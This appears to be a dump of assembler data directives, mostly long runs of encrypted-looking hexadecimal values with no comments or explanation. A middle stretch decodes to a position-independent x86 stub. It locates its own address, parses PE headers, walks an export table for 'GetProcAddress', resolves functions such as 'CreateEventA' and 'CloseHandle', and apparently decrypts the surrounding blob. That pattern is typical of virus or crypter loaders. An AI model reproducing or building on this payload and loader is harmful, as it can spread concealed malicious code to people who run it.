14FB3E82h, 48B9C713h dd 0ED69B451h, 2C3E4C9Ah, 0A07FE81Ch, 3CCCC08Bh, 0F60543AEh dd 38B7029Bh, 4509C8D7h, 0FBDC7F23h, 0F00E73DBh, 4150711Ah dd 0A4AC52E1h, 4793E556h, 465E075Bh, 0C17BECEFh, 8CDD1D25h dd 9E103663h, 47716004h, 0A2F75DE2h, 0CFA4D4D9h, 5DE8E70Eh dd 1A2969C8h, 5C6B1A53h, 0CF936CFCh, 0EEA6666Ch, 2332D705h dd 6EB237C3h, 0A6BACAA9h, 0EBFAA1C3h, 581C4789h, 4A42113Fh dd 0B34D7A01h, 0F8A94250h, 1766A5B3h, 1FEFE6EBh, 10B47C6Ch dd 82786C66h, 60B0F11Ch, 0F6E5A588h, 0C6AA9253h, 28396C14h dd 0E9EF0D2h, 0BD95DA16h, 0CEFA0C91h, 42FDA86Dh, 78F8344Fh dd 5590E3C2h, 87B67564h, 1928619Eh, 2C05EEB9h, 0FFC38095h dd 75102E59h, 22015A7Eh, 53077347h, 2D3F3C37h, 0EAC91C6Dh dd 2F3B12D9h, 3E2C38CBh, 273FAE5Bh, 0F4336A4Ah, 2D19111Fh dd 4AD7C6E5h, 0EB9B5CDEh, 25D1A0Bh, 0F64BB09h, 0A69457DFh dd 0EED287DEh, 0C5ED5553h, 5D381A26h, 7298D9D8h, 0E98090E9h dd 0F1EB668h, 0D03DA0AFh, 0A4BF8B1Ch, 0A558AF33h, 9327575Bh dd 6A47D20Dh, 1650E8FAh, 0EFC05AB1h, 0AA95837Eh, 545CC144h dd 0C8207F03h, 0EAF8066Bh, 1B141E02h, 67E32CAh, 0B1BFEE84h dd 0D99BD5B1h, 0FCAF83A1h, 0EE38188h, 0E6AC647Fh, 8F722208h dd 522CEEF2h, 0EEE2AA93h, 0F0D26852h, 57DBDFB0h, 0C4044F53h dd 0CAF2DB06h, 9E8CE32Ah, 0BB904501h, 506F8209h, 93A1F649h dd 98E0AE32h, 0E8D9998Ah, 5DE503D1h, 9CAAEAB4h, 53464A3Bh dd 12846B3Ah, 0C8171D24h, 333908E0h, 0E8C71B27h, 783F12D2h dd 47B22F36h, 0C435FC3Bh, 36823769h, 3B830788h, 77846156h dd 0D1C86C15h, 0FB0A4877h, 0C247E6CCh, 0B0A41F48h, 0CE8F9B1Fh dd 8D031DEAh, 767BF239h, 0E21A5EE6h, 4ADA2906h, 0F2EC5C89h dd 250DCFA2h, 6DA68AEFh, 0E4CD4184h, 63B09A73h, 867979Ch dd 0B5CA5C07h, 48132B0Ah, 1F1E447Dh, 0F1B035E7h, 0A4E7760Eh dd 66903443h, 5D623ABEh, 0F985EAC4h, 0AF8DD197h, 0F1017FA5h dd 0FBFC0C8Fh, 7984C3D2h, 35D94BA3h, 92167922h, 3C4B8A9Dh dd 2A18328Bh, 97D03F34h, 1E87AD37h, 0CE54A489h, 4B95EAA6h dd 0C9A148ACh, 2C69D0BAh, 0C345D727h, 3CCEECDAh, 0AB63E233h dd 70770173h, 0B563D2C7h, 3743B105h, 57CF2610h, 1D744909h dd 7D3D244Dh, 0EAB6460Fh, 0D27EE041h, 0A3C47506h, 0DEF0B089h dd 0AE8CD466h, 45C40AC0h, 327151EAh, 0C0A842A2h, 0B7F62D75h dd 0D763F36Fh, 0B84589A7h, 817334ABh, 7546CD2Fh, 2217E2Dh dd 6A241F28h, 0D7C5D4D3h, 0A388154Fh, 0B1A3166h, 0B20B1BAAh dd 0A08BA569h, 0F774E02Eh, 0EB23525Ah, 6670DC3Eh, 665F65F5h dd 24D1AC38h, 98A59486h, 5F5E83DFh, 0A2DAEF94h, 710C6116h dd 26055E13h, 4700334Eh, 4C7BF837h, 84AD6A4Bh, 5DAA828Bh dd 0FA818FE4h, 85EA7A95h, 9DD2CF52h, 0BB7D595h, 1F3F3688h dd 41CD3B34h, 3025C7C9h, 21D41B9Fh, 0C93E2CFh, 52293027h dd 9287D64h, 0C066CA23h, 0BEB2A05Fh, 0CA8B962Ch, 39DFEB5Ah dd 644DC524h, 0E0286FF3h, 74E8161Bh, 0F981AB5Ch, 3DE92640h dd 0F1AEDDE1h, 0B3A17C6Fh, 11A68DD1h, 377584E9h, 80B963FAh dd 0C9383877h, 141741FAh, 131ED3A9h, 8EA69A62h, 936D3110h dd 0A74E9FFh, 17E5A3F8h, 0BDFD2434h, 0AB5D1509h, 20CC2D8h dd 0E1E0A395h, 0A996674Ch, 6765220Ah, 3E3CCBCBh, 0FFFE89B5h dd 0AABD755Dh, 7973031Eh dd 3707D3D1h, 0F3C780B3h, 88BB5647h, 77481A17h, 2E0EDEDCh dd 0F6EBB088h, 80874B4Fh, 4C621D13h, 1F17DAAEh, 0C8C3A658h dd 999B5328h, 424E2AECh, 1512D5ADh, 0C7B4BF51h, 9C762E27h dd 7622E1E8h, 13E4B6A5h, 0D5BF6974h, 0A27E2536h, 343CE7D0h dd 0C5DE83DFh, 97954575h, 6E5B0926h, 3A37E5C5h, 0D0EEBF87h dd 0AAB3727Dh, 4C6C2903h, 2013D5ECh, 0C3D78C94h, 0BE955656h dd 5C74091Ah, 3406D9C0h, 9EDE8E88h, 879D4C68h, 4D79041Bh dd 6773C6B2h, 0A8E6F403h, 9AF93645h, 454316F5h, 1B1395A7h dd 0DEAE8F67h, 9D2D213Eh, 362AE5FFh, 32C48C9Ah, 0C2A77436h dd 8F763833h, 6C1B87EAh, 0E0B09D9Bh, 8A9A5E6Ah, 6F637242h dd 7B22E2D7h, 8B718DEDh, 90DC1A29h, 2FCCB0EAh, 0D4A69F9Eh dd 9492F49Fh, 0B770DC32h, 0D927565Eh, 661DB75Fh, 2820F493h dd 0DFDE062Eh, 0F0CC324h, 0E5149BB5h, 0D2A80C3Ch, 0C845B867h dd 0A03A48ADh, 0CB2BB8BFh, 3432596Dh, 0F332160Fh, 1C2C071Fh dd 0F17CC4E3h, 0F445FC53h, 0FDBAB2A9h, 60A64378h, 94264B50h dd 0A982102Fh, 0FA1A3961h, 777CEC31h, 0AEE454E6h, 8AAE1D20h dd 0E1D5482h, 1319CDADh, 0DFEDA4C1h, 8471DD31h, 1C265559h dd 337CD376h, 0E142B9FAh, 2112D4C3h, 100563E9h, 17B135BFh dd 4E640D03h, 0E8F73448h, 757A31D6h, 2955EA87h, 4FBEB746h dd 0C22B6FD9h, 0CD15698Fh, 7C6D3C2Dh, 0ECC80514h, 0C8580D05h dd 7108A5ABh, 1571CD90h, 0C2E1256Fh, 4135888h, 3626E3A3h dd 0FDF9BF97h, 9BDA5941h, 2711CE96h, 0CAD79D9Ch, 9290F5F7h dd 596E103Fh, 16157D4Ch, 7340233Ch, 64F8E8C7h, 0EDC65BACh dd 1B46FE7Bh, 0EF70AFBEh, 95AABAB5h, 5A7B6A42h, 29085D89h dd 9389182Fh, 2A7A9CF6h, 0F1301DDBh, 96C1D08Eh, 76B4E243h dd 0E8528913h, 0AA097775h, 564AE0CCh, 7DE59EDBh, 3E500E1Dh dd 333940CAh, 1F9416A2h, 51BF791h, 0CAE937A5h, 811D303Ah dd 7E7D0C1Eh, 0C1C98AEDh, 2CB0717Fh, 250F76E4h, 0C299FDB4h dd 9A98CCFBh, 0F1C5ACFEh, 0F62D6C4Ah, 9F905DAFh, 0B1CC7D00h dd 60333271h, 270660CFh, 5927E390h, 524904E0h, 0A37BFCB5h dd 67404E99h, 9CB69F9Bh, 493AF0FFh, 0ED4BC094h, 421F88A6h dd 0A263FE86h, 7831F3E9h, 310503D8h, 3537C7A0h, 0B5DE0B6h dd 0F8F96AA1h, 5B480966h, 1D0ACAF8h, 0E60823BAh, 2EE02E07h dd 230800FAh, 4A8C62B2h, 944E9181h, 89E92736h, 5D7C2630h dd 1A43E5EBh, 5EAFA2B1h, 0D3D841AAh, 25389B81h, 2025B5C4h dd 0FDCD9255h, 88895529h, 0D06E7CCBh, 42AAB358h, 14E930Fh dd 0F635687Eh, 38474EFCh, 7BE39ED7h, 97819FE6h, 6A834D6Bh dd 41608F20h, 0AF656F6Ch, 94831413h, 1182A832h, 0C959A982h dd 1816D72Eh, 0CFEE02F7h, 104A373Eh, 510AF0E7h, 6924E4F3h dd 224ACEE6h, 0A7AA9688h, 5C5BBE88h, 0F7A699FCh, 0E1F03CB6h dd 9ABE77Fh, 6A9CB4F3h, 0FEB7F605h, 0A0B97714h, 691249BAh dd 8F7EF180h, 83EB8E9Bh, 0F26CD150h, 0BA468593h, 4A906563h dd 1465018h, 0FE3D6687h, 0BFBDBF75h, 839D391Fh, 8C831322h dd 42581F2Ah, 51CB6F3h, 1965DAA5h, 0CEED365Ah, 94109FE8h dd 5261A385h, 95A68B61h, 626B2534h, 19187096h, 0A2D727E0h dd 76ACDCD1h, 1F10DFC4h, 8CCCCFCh, 6A73B3F2h, 0A8B4E580h dd 7A15B646h, 783B7A89h, 6F7CBDA3h, 6F55010Dh, 75037165h dd 36441456h, 0AD0C96D5h, 4498087Dh, 0CD26B6CCh, 668E0B9Ch dd 0AF8DDAAh, 3BD31232h, 363FCCF6h, 0CBB57CA6h, 0BBB94B55h dd 0E4A91B2Ah, 2F88DBE1h, 0AE30A09Fh, 0A4880B64h, 0D925A133h dd 1826EEF1h, 562922B8h, 0AD54EB71h, 0FF7CA8B3h, 0A4F6704Eh dd 64429FEFh, 0CDB59E02h, 16FA5C44h, 1B108C12h, 918438CAh dd 0B0DF7903h, 7E91404Eh, 5640D04h, 2A96AFD4h, 5F5CF845h dd 790B7A72h, 7EC8825Bh, 0C8FCFDFh, 0F3F2A19Dh, 0ED1CE562h dd 0B8A961A4h, 8A984C8Fh, 2AF04429h, 5A3969E2h, 7A3A0A51h dd 2E2CE1C0h, 0D5D4038Ch, 0F5CE67C5h, 0D4975741h, 0AC8A416Ch dd 0B6ED463Bh, 202F6F69h, 0F68EE292h, 0A684D9F3h, 0FCD371C9h dd 446ED0Bh, 622BBAF9h, 0F435F6BDh, 12C02B69h, 35098098h dd 65878EC1h, 0FDC3055Fh, 1A8A4173h, 35AC4D95h, 0A4CAC58Ch dd 92E3EF0Fh, 2F3CEEECh, 5ABD9594h, 0AC97D7E6h, 0EBA22F06h dd 2D327C44h, 6A7BBB97h, 0B7D8D8C1h, 0A7C60249h, 5F6A2F79h dd 0F6787F8h, 0B1B07C07h, 196D2B0Ah, 1F2E6ED0h, 3520B0D5h dd 54260D52h, 6CF60469h, 192D4508h, 8F7AD3C8h, 0A2749011h dd 0F105D61Dh, 1664818Fh, 2184C9B6h, 92DE90EBh, 3E8A4866h dd 37A0DB95h, 7F8DC5B4h, 56D821Eh, 54126240h, 0B4C16BF0h dd 0D96E6CFh, 478D66E7h, 3C3074DCh, 7CF81EACh, 919FEFFBh dd 0FECCACBDh, 0DB0F6442h, 137A6DFh, 773D17A4h, 5FEB1A13h dd 31536D83h, 0EC91242Fh, 9499DEB5h, 14F88342h, 4827032Ah dd 948F522Fh, 0B9CE9BF6h, 877235A8h, 0B9AB948Ch, 0F84DEA1Fh dd 87ED2CAFh, 7EACB554h, 68F36260h, 546D5E25h, 7D4F0D2Ch dd 2214531h, 2C79E6A0h, 8795A1D3h, 0E34183DAh, 0B69A5957h dd 4D6CB684h, 578FA9ECh, 0E2C18DABh, 14236270h, 78E062B3h dd 99A7D6D8h, 241420DEh, 19EE3686h, 70DB20BCh, 0F4B0DFD3h dd 0CEB2A4BFh, 0DEB674B2h, 0D2F3B93Ah, 25BAF807h, 0DED309CCh dd 663F178Bh, 590C2A31h, 75410120h, 0F7A2C05Dh, 0F9638795h dd 7FE09988h, 0D6CC614Ah, 0C00F4E5Ch, 67C46FC9h, 693E2CBh dd 43D9EBDBh, 918546Fh, 656D1C21h, 311DBDAh, 0D0EF3317h dd 3C62F5E3h, 632A281h, 68F5E499h, 0E9C26FA0h, 0E4D2EA77h dd 5FB42FB5h, 0A0C4EDFCh, 0CCC69AC1h, 0B1CC72B0h, 67459E86h dd 0A5470E86h, 0ECF9F9C3h, 65B8F289h, 427F8DE2h, 0E501FCC7h dd 0F26F1300h, 0FF27AC2h, 8489F7F8h, 8DE6208Dh, 0F0CEC95Ah dd 41521219h, 0D5BE2E0h, 0F6FB5CA7h, 59460764h, 455987CFh dd 18648AE9h, 0CFEE365Eh, 952F9FE8h, 5362A3E6h, 0B8F7667Bh dd 53242504h, 9891503Dh, 6F6BAAE7h, 686CEF29h, 6811D9CCh dd 131C2EFAh, 5A3F38C2h, 0A9ADF5BCh, 0E8280446h, 0DACD8D49h dd 27FB352Ah, 70C1CE23h, 0F34FF640h, 0BA70676Bh, 0CD87DE86h dd 6CC81C54h, 0D6CC2010h, 7ACE5E9Fh, 0EDF8A780h, 8CCA66D8h dd 61A2FE0h, 2D348D4h, 98D852D4h, 43CD5929h, 0E7E01628h dd 69A08376h, 0A58DA974h, 5CBFE733h, 90244331h, 5B6A1130h dd 5D6CD8FAh, 0EB04E2B7h, 0F1ECDF3h, 0EE8FB2F1h, 47FC7DCh dd 0EC8B5779h, 2E4C03BBh, 53D79BE6h, 8E2C8950h, 0C8DE3460h dd 0D5ADF691h, 44864E1Ch, 0BB8F5F53h, 0AE31412Ch, 304EDFD8h dd 7D6F865Bh, 0F9D09ADFh, 455B1D35h, 0B76B12AAh, 0DCA42718h dd 0C2924F6Ah, 0F0E16CEFh, 1237A251h, 10ADD3C3h, 291ADC14h dd 4C743649h, 41EDA7F8h, 0AE541506h, 21ADC4E0h, 0A53F9082h dd 9B8D4ECEh, 0B15D2131h, 1F83544h, 0D4C587E8h, 6E7CBA21h dd 5C3EA10Bh, 0F33218CDh, 35459D79h, 4A79A0D3h, 949AB39Eh dd 756F4967h, 0CCEAB8h, 4809490h, 0C3D21117h, 6280DEAh dd 7CD7F37Ah, 0F9792B6h, 0CCDB19D0h, 0E0B1F9Dh, 5F5F9E8Dh dd 93A10B6Ah, 89A7D431h, 0F6A26A71h, 0D868A7B6h, 0BC8AC986h dd 5AE20B1Ah, 202F6EA8h, 9C8F7F57h, 6F36FDFEh, 63F73443h dd 60B27FC7h, 1EBA92D8h, 5B7EC80Eh, 7BC93D49h, 0B1CA91C5h dd 77B5ED89h, 46367BFCh dd 0FBA5A0A9h, 0A0C78B99h, 80BEE38Bh, 0EC8A921Dh, 92FB5250h dd 49AA6B5Eh, 89975961h, 986F9327h, 861C6B47h, 915DA1F2h dd 6D5EA006h, 559E53CFh, 16454038h, 0A6EC46B5h, 8FD3EBA1h dd 0CDEC9FB4h, 652D6D4Bh, 64F016AEh, 56E4F100h, 4F782E7h dd 769C8586h, 5D75EA99h, 2D3A779Bh, 97003D4Bh, 0CCDF1007h dd 0EA6C3D2Eh, 0E238FBF4h, 0F9050DDEh, 7DC69AD2h, 57CEE7DDh dd 0C18F8994h, 45D5515Fh, 6574B382h, 0A0DD5CC4h, 41C95DADh dd 3C350DEDh, 4617A5ABh, 0DB16DD9Eh, 0C3A02127h, 157C00F2h dd 7939203Fh, 0D8A9E7C6h, 8CA82830h, 9549BE49h, 62E0CA9Fh dd 940C73A7h, 0E5F4026Fh, 0DA8AF18Ch, 0DF874839h, 0AD8BD75Bh dd 0C563AEB5h, 84BF7EBCh, 74B2EE80h, 9CC497EEh, 758A4563h dd 3A79A6ADh, 53C85F54h, 0ED9F0C2Bh, 0B4EF4F37h, 4362BF97h dd 0AC01461Dh, 7D281514h, 0A297651h, 665A0F56h, 3A10DCDBh dd 0D1D03302h, 3D11D490h, 0AA32A382h, 0A88C6861h, 0ED4CA436h dd 1C2B5A56h, 5E6D4478h, 0CBF2EEFDh, 0C21FB13Eh, 7D3443A8h dd 0EDB7BA34h, 0AB89E27Eh, 6E3FF9CDh, 20CE8342h, 67F83B0Ch dd 8900003Fh, 0F62F4341h, 0B9219AE1h, 1785ECABh, 0DDDF7F68h dd 0F189B3h, 0A955E561h, 7B6D2F7Dh, 392AC6CBh, 0F739369Ah dd 7E0FE185h, 8DBE63F8h, 27BE1D2Ch, 0EEDF9FCBh, 17E99BC4h dd 2329D4D7h, 0D8D70B1Ah, 7C2139FCh, 5E6D913Bh, 0F7FBC88Fh dd 0E10F2F3Eh, 2358B60Bh, 0F38BE491h, 0A987DCDCh, 6AF2FCC4h dd 120327B7h, 0F37DC890h, 0FA29FBC8h, 1DFBBDADh, 0C8B97AECh dd 0E3004B7h, 57CB0918h, 0FE22F4EBh, 50A78F9Dh, 4191D1E0h dd 0F56C1302h, 0EF165664h, 495898A4h, 19AFE2Bh, 3D1387Fh dd 10E7DC43h, 0BA01B8CCh, 95A3E3F2h, 0E7C271BFh, 9832E32Bh dd 6B434154h, 711304FBh, 228ED1C2h, 7Bh, 7Fh dup(0) dd 0E89000h, 8B000000h, 80F72404h, 242Bh, 80000000h, 29AC9889h dd 5C8B0000h, 2D740424h, 0B08959FCh, 29B0h, 29B4B889h dd 0B8800000h, 242Fh, 30D75E8h, 243098h, 25B8B00h, 8EB33FFh dd 2431988Bh, 33FF0000h, 8195555Bh, 604246Ch, 8100001Ch dd 0FFF000E3h, 6ED81FFh, 8B004010h, 8D04247Ch, 40343CB5h dd 9DB900h, 0A4F30000h, 544E7B81h, 75736968h, 3C438B0Dh dd 6618048Dh, 45503881h, 0EB810874h, 100h, 508BE275h, 8BD30378h dd 4A8B2072h, 51F30318h, 81C303ADh, 4700FF78h, 1B757465h dd 50037881h, 75636F72h, 7788112h, 72646441h, 78810975h dd 7373650Bh, 0E2057400h, 0C35D59D7h, 8B240C29h, 3592472h dd 4B70FF3h, 1C7A8B4Eh, 348BFB03h, 0E8F30387h, 0Ch, 736F6C43h dd 6E614865h, 656C64h, 89D6FF53h, 40353C85h, 0DE800h, 72430000h dd 65746165h, 6E657645h, 53004174h, 8589D6FFh, 403540h dd 0DE8h, 74654700h, 7473614Ch, 6F727245h, 0FF530072h dd 448589D6h, 0E8004035h, 70h, 2174C085h, 4495FF50h, 85004035h dd 8D1075C0h, 4011D285h, 0FF508A00h, 6EE8h, 0FF7CEB00h dd 40353C95h, 3185F700h, 4034h, 74800000h, 35B58D1Eh, 8B004034h dd 0A404247Ch, 0B29D8BA5h, 8B004039h, 4039B6B5h, 0BABD8B00h dd 5D004039h, 6A5AC3h, 6A006Ah, 168006Ah, 8B000400h, 50006AC4h dd 0C48B0C6Ah, 5456E2FFh, 335Fh, 0DAE8C933h, 8DFFFFFFh dd 4011A195h, 51515200h, 4095FF50h, 83004035h, 8AC320C4h dd 225FB9F2h, 10300000h, 0E2D60240h, 8F0CC3F9h, 7C25A4BDh dd 0C9E35448h, 9CD091FCh, 446537A8h, 0FCF0A4CDh, 18119183h dd 95634478h, 0AC317502h, 85CE2117h, 3ED3D488h, 8E1FEC29h dd 4FA2F4EAh, 450EF159h, 424294C8h, 0DF5502EFh, 0D00B4FBh dd 9789191h, 0D9ED5408h, 9CD091C3h, 714D7D9Bh, 0FCB0D180h dd 72C80AB9h, 350443Bh, 0B914E197h, 5471A4D8h, 3864DBD7h dd 971004F8h, 0C2A206Fh, 7C18A75Bh, 25A89498h, 9CE5943Dh dd 65CE9CE8h, 3C5A2418h, 59A8C1B7h, 5C158438h, 323130A7h dd 71671B27h, 6C3014BDh, 0E5BFCF38h, 8C807E1Ch, 0ACB04919h dd 796DD488h, 1C50167Bh, 0AEBF91DBh, 0F75088DBh, 9FA8FE74h dd 495D9D78h, 0C40EED5h, 0C0BB8FEBh, 927003C1h, 0F4C7983Fh dd 0CCC1B4ABh, 0C9A07127h, 0E8A31448h, 5390C118h, 737ED6ECh dd 0BCDA3367h, 0EC88D5A2h, 749004FCh, 4C413428h, 4920F1A7h dd 6C2594C8h, 225540B7h, 0C6A0B17h, 3C304C48h, 6C0A544Ch dd 0CB9C6CB9h, 0A490B5C2h, 0FCF1E4D9h, 197081F7h, 56384478h dd 73807568h, 0FC85F40Dh, 0ECE53CC8h, 48F904F8h, 26BFCBD6h dd 76933D58h, 395F9EE2h, 0DC90F104h, 8FC30503h, 7C0554A5h dd 0E86F5448h, 636F7A4Fh, 0CCC0B240h, 0B8A4AAD8h, 0D3205844h dd 1C65CCADh, 0FF35F968h, 8FB0E48Fh, 3C5D5901h, 0AD1044CDh dd 0AA8A723h, 0FF70645Ah, 0EC956C35h, 58DFC4B8h, 0F3FF0AEBh dd 9E4A193h, 1C9F5408h, 9150B79h, 47C0F49Bh, 0BCC50C5Dh dd 2D50EB08h, 6FB2C1B7h, 90B7428h, 0BCF09140h, 63E1A437h dd 5C23ED7Dh, 90CDBF28h, 9F70246Dh, 0ADD16B81h, 0EF264137h dd 0FEE8F4A8h, 0B1CFDBE5h, 2C561AF5h, 0F65F0F78h, 331942A8h dd 1D73E0A8h, 2F607E0Bh, 5C3A13C1h, 390D6C02h, 0BCF0B107h dd 0ECE0C871h, 91C48FF8h, 0B3BE792Ch, 0D7169BA7h, 0ACED9005h dd 0BAD0C4B8h, 8477943h, 90D416B3h, 9782FF2Eh, 52F88412h dd 47C0B4C1h, 77F08E14h, 44207ECCh, 54504438h, 0DED13402h dd 43E0AAF2h, 0ACD5345Dh, 0D8935CF8h, 258E5C68h, 0A8FB6458h dd 602B94E2h, 0DCBA84D2h, 6652F682h, 55FE4C18h, 6C0A5448h dd 0CC6FEE29h, 0F9242157h, 0A5AFE498h, 0A82FEB8Dh, 0A3AFB91Fh dd 9C80C1E5h, 0C809A4D8h, 67E0D4C2h, 9DB5F717h, 0C5034C5h dd 30F5E958h, 53A0D49Ch, 3C454958h, 5E00B4F0h, 9ACB1E7h dd 7A885408h, 0D0908478h, 0B9ABDBC7h, 9582B4A8h, 494C7D7Eh dd 3D06215Fh, 0CDE50104h, 294FF498h, 0ECA0E180h, 295C8171h dd 18103468h, 831A4432h, 994C0177h, 1C55C4F8h, 9A3F81B7h dd 6A662672h, 6D0A80C3h, 9C816C2Ah, 0A993B4A8h, 8992819Ch dd 4552446Fh, 393C2D4Eh, 0DA80110Fh, 89FC3167h, 286BD488h dd 4C4652AEh, 0D9BF637Eh, 7C305188h, 0FBB0500Bh, 0E9EC5147h dd 0C6AF4A8h, 0A9CF2672h, 6C206138h, 9C91ACC1h, 2DEB23A8h dd 0A8D4E851h, 80B5EB5Fh, 6F50040Dh, 0B025F79Eh, 0BCB0E4AEh dd 791F839Ch, 1C503148h, 1034F4ADh, 788EE71Eh, 0D85F7AFAh dd 0DCBACC9Ch, 99FFDE82h, 3C7011B0h, 0B01494CDh, 98AD6CEBh dd 5F3B4A8h, 0C5C00749h, 6C16288Dh, 0DD783138h, 8C8DDAA9h dd 0ECE4F498h, 0BCB0859Eh, 7485FBABh, 0C940741Dh, 73043D98h dd 0A484E077h, 0EAEC4137h, 0A0E8F4A8h, 6FCFDBE5h, 595CC1B7h dd 47B8438h, 0CDE87029h, 3A7E4D8h, 6C15289Dh, 0A7B5AD38h dd 0C50D8B97h, 0E4E8FC98h, 0ECC91AC8h, 1C1D61F8h, 4C403528h dd 7C706458h, 0ACA09488h, 8F8695B8h, 39486117h, 659B2458h dd 19A0D0E4h, 5F7E6683h, 0BFA1F6F4h, 9191AABDh, 4E6F706Dh dd 28332152h, 0BFD7281Bh, 0D5E6FBAAh, 0EC95A0BAh, 6E647794h dd 4C2E5144h, 1D15161Bh, 0C5E6F1FCh, 0DC91A1D4h, 6D6586ABh dd 5576416Ch, 0D2D3124h, 0F2F9F408h, 8FC0F5CFh, 889181AAh dd 4352446Dh, 2F23215Bh, 0FEC37429h, 0D9C4C5FDh, 838DB19Ah dd 7444618Ch, 2821515Ah, 19022758h, 0F8C5E0E9h, 0BDB5B6D0h dd 7E43F48Ch, 5944457Dh, 0F3B1Ch, 0ECFCE110h, 0A293869Bh dd 948394B9h, 69206067h, 8242D40h, 0EDE50600h, 0D5F6A4FCh dd 85B4B1A4h, 73446195h, 38334D7Bh, 1524093Dh, 0EBA0F1E5h dd 0B596B0DDh, 78419184h, 5E59566Ch, 1F05203Dh, 0F9D78439h dd 0A0A9F2DCh, 8699B7BDh, 4967146Dh, 3039024Ch, 0E1E9200Dh dd 0D9F7A4FDh, 888F99BCh, 5475688Dh, 20245A49h, 3B70253Dh dd 0C9F4E0EDh, 0B596B4D5h, 6D4E9184h, 3C714175h, 3814310Fh dd 0CCE0E91Dh, 8DA8C0C9h, 8895A3D8h, 5F52715Eh, 5C3E2B51h dd 0DAF4112Fh, 0D5C3D6FDh, 94A5BAA7h, 735C04B9h, 250C5049h dd 0E11163Ah, 0E1A0D5F1h, 0B586B4D9h, 6A4F838Dh, 595C4D5Eh dd 9101B48h, 0F0F9C216h, 0BCA1F9CDh, 9B9E8DA8h, 5C6F1449h dd 2E002A5Dh, 0FFE51707h, 0CEE0A4EBh, 9F85B7A7h, 5A22378Bh dd 38334641h, 13023458h, 0DFD3F1EBh, 0B99EF68Bh, 5F008090h dd 5576507Dh, 18213124h, 0FEF9F60Ch, 0BFA5C0DDh, 99A3E499h dd 4049527Ch, 3139105Dh, 0E0D3740Dh, 0BCC0C1FDh, 9893AD9Bh dd 7544699Dh, 23145145h, 191C0D1Eh, 0C9CDFDDCh, 0B1BE91B8h dd 65568489h, 5A7F537Dh, 90C3D0Eh, 0EEF9D278h, 0A0A1C1DCh dd 939C8899h, 5E77146Bh, 1A353051h, 8CE51801h, 0D8F1D0D6h dd 9893A1A2h, 6A7976A8h, 2B255841h, 1324173Dh, 0ACCEF1E3h dd 0AE93B0F6h, 6974958Dh, 595C4D5Eh, 2F141A48h, 0E8F1E10Ah dd 0A3B2E4CDh, 8F8381BBh, 6F545A08h, 2831214Ah, 0E3F2240Dh dd 0CFC3C1FBh, 0A2E0AC8Dh, 7962478Ch, 1F254049h, 1504073Dh dd 0E2A0FAE7h, 0ACB189CCh, 7B659DBEh, 59634257h, 309202Bh dd 0E8DE8416h, 0A2A5C4E7h, 999C8D9Eh, 63545A08h, 0C3E2148h dd 0E9E31B1Ah, 0D3E4D7EBh, 0EC8EB1A3h, 6E4070B6h dd 2F254047h, 0E19322Ch, 0C0C1E1FCh, 0B3BDA1F5h, 42008D9Ah dd 5542736Ch, 536313Ch, 0FDE5F00Ah, 0A1A5F9C4h, 0FC8996B7h dd 794C605Ah, 33332D56h, 0F8D3110Ch, 0DBDECDEAh, 82A1BB9Ch dd 68436D8Bh, 2B2E5D5Ah, 3D233358h, 0DEC1E0DBh, 0DCA0B1CCh dd 7F6F988Bh, 5F5F577Dh, 6C143123h, 0F2FEEB1Bh, 0CCB4D7CDh dd 948481BFh, 4E546767h, 31312A41h, 0E9F2740Dh, 0CFB0D2FBh dd 0EC84BAADh, 77736B8Bh, 540404Dh, 0E151036h, 0EFD4F1E6h dd 0B9A3ABD4h, 686E95A0h, 75304174h, 1E052026h, 0DBE4E116h dd 0A383C0CDh, 9F958AB6h, 7F44717Ch, 3924254Ch, 0F8EE3D68h dd 0D9DED6FDh, 89909BBCh, 55104596h, 3E254046h, 33040136h dd 0F9CEF1F8h, 0DC91A8CAh, 69749AA1h, 48554A6Ah, 801311Ah dd 0F9FCED3Eh, 9A84F5A8h, 0CFB9B499h, 60643A3Ah, 39024474h dd 0E3EC370Fh, 0D9FBC1EBh, 89B2D4B1h, 79604B9Fh, 35257F46h dd 7C311C1Dh, 0FDC7F1DAh, 0A5A2A1CDh, 796C95BEh, 7D48617Dh dd 0B050648h, 0CAE4E12Bh, 0A9B5D8C9h, 0FCB19C9Dh, 725FD8Bh dd 5C3815F0h, 1687468h, 0D6B380D4h, 0BDE5BEC8h, 197A57A8h dd 0C710F8A3h, 1624348Ch, 0FFF2C5C8h, 0E9205147h, 0C883F4A8h dd 0C8A5DB14h, 0EF60147Dh, 0CB538CBCh, 0D9713125h, 3C3E498h dd 46207E58h, 0F8C5BB36h, 980345Dh, 2C34AB58h, 0BCE0D4C8h dd 1C79CA90h, 2694BF28h, 16BCEF58h, 0ACA0FCC8h, 0DEBAC4A8h dd 64009EBAh, 3C304DD6h, 3F315422h, 78057B28h, 93C0F49Dh dd 0C0651B81h, 0A920543Dh, 0D70C30C7h, 0CC95FCE5h, 31BC4798h dd 0ACF0D45Dh, 4BC107F8h, 0C792CB7Bh, 3C45B0DDh, 382F1988h dd 34D0C49Bh, 0F3FF0BBCh, 9D8A193h, 0E3ED5408h, 9C90A799h dd 333FF740h, 24756F27h, 0A120543Dh, 5C73ACB7h, 73B29C68h dd 393B5B67h, 0ECA0E114h, 1764C47Dh, 6FB5BBA5h, 61986458h dd 275F6B77h, 89139B7Fh, 0C00F400h, 0D1B17918h, 6C204E5Ch dd 191D4D4Bh, 0CC80A906h, 0ADA1B089h, 0D3714558h, 1C6528ADh dd 0A884F368h, 898C3167h, 2EBDD488h, 0F44504FCh, 4C403428h dd 3F9DE505h, 0C6A0D492h, 0D2454947h, 5C00B4F2h, 1810E94Ah dd 0EF607E48h, 5BF688BCh, 8CDAE02Dh, 3BD029D8h, 6C3A428Dh dd 76506038h, 0E6432968h, 43B1CE99h, 0E8932BFBh, 0DC951107h dd 4728C45Ch, 0F7706458h, 0FCA3CF58h, 0AE654984h, 8700B4F2h dd 3C3128A2h, 64EADF48h, 9F908479h, 0AC0B9F50h, 5A032F53h dd 6B256069h, 9EBBB1DAh, 0DB8FB3EBh, 37E37013h, 86B48404h dd 764255B8h, 0BCD5CBD7h, 0FF70246Dh, 392B984Ch, 0DC90F1CCh dd 0E68323C3h, 5637E31Fh, 0E560BC48h, 0F653872Fh, 0C528ECB2h dd 71F0E4D8h, 0D28A754Ah, 9FA031F1h, 0BAC6E101h, 38B5A4D8h dd 65A2DCC0h, 5C26426Dh, 8FA2C328h, 7C708C0Dh, 2DFD9488h dd 9CCBCD55h, 469D7FE8h, 0BF30642Eh, 6C687034h, 9C290077h dd 2041B4A8h, 0FCF0E6D0h, 2D247C5Ch, 0C9AF4438h, 8CC041F8h dd 383D5813h, 0ECE1D0ECh, 1C7A54F8h, 4C4030C0h, 28223258h 